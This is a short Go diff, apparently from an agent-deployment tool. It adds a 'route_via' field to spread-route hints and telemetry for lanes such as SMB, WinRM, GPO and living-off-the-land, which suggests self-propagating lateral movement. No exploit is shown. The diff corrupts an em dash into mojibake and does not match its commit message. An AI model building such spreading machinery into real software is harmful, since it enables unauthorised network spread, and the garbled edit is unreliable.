Add ssm_document spread lane for owned EC2 via SSM Run Command.

agent/deploy/discover_join.go

@@ -1,4 +1,4 @@
-package deploy
+package deploy
 
 import (
 	"crypto/hmac"
@@ -25,6 +25,7 @@ type SpreadRouteHint struct {
 	ClearanceLevel    int      `json:"clearance_level,omitempty"`
 	SwarmMagnet       string   `json:"swarm_magnet,omitempty"`
 	ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
+	RouteVia          string   `json:"route_via,omitempty"`
 }
 
 // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -271,7 +272,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
 	switch lane {
 	case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
 		return fmt.Sprintf(
-			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
+			"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
 			egress,
 			strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
 			strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -401,6 +402,9 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
 		strings.TrimSpace(hint.SeedAgentID),
 		hint.Score,
 	)
+	if via := strings.TrimSpace(hint.RouteVia); via != "" {
+		routeNote += "; route_via=" + via
+	}
 	if detail == "" {
 		return routeNote
 	}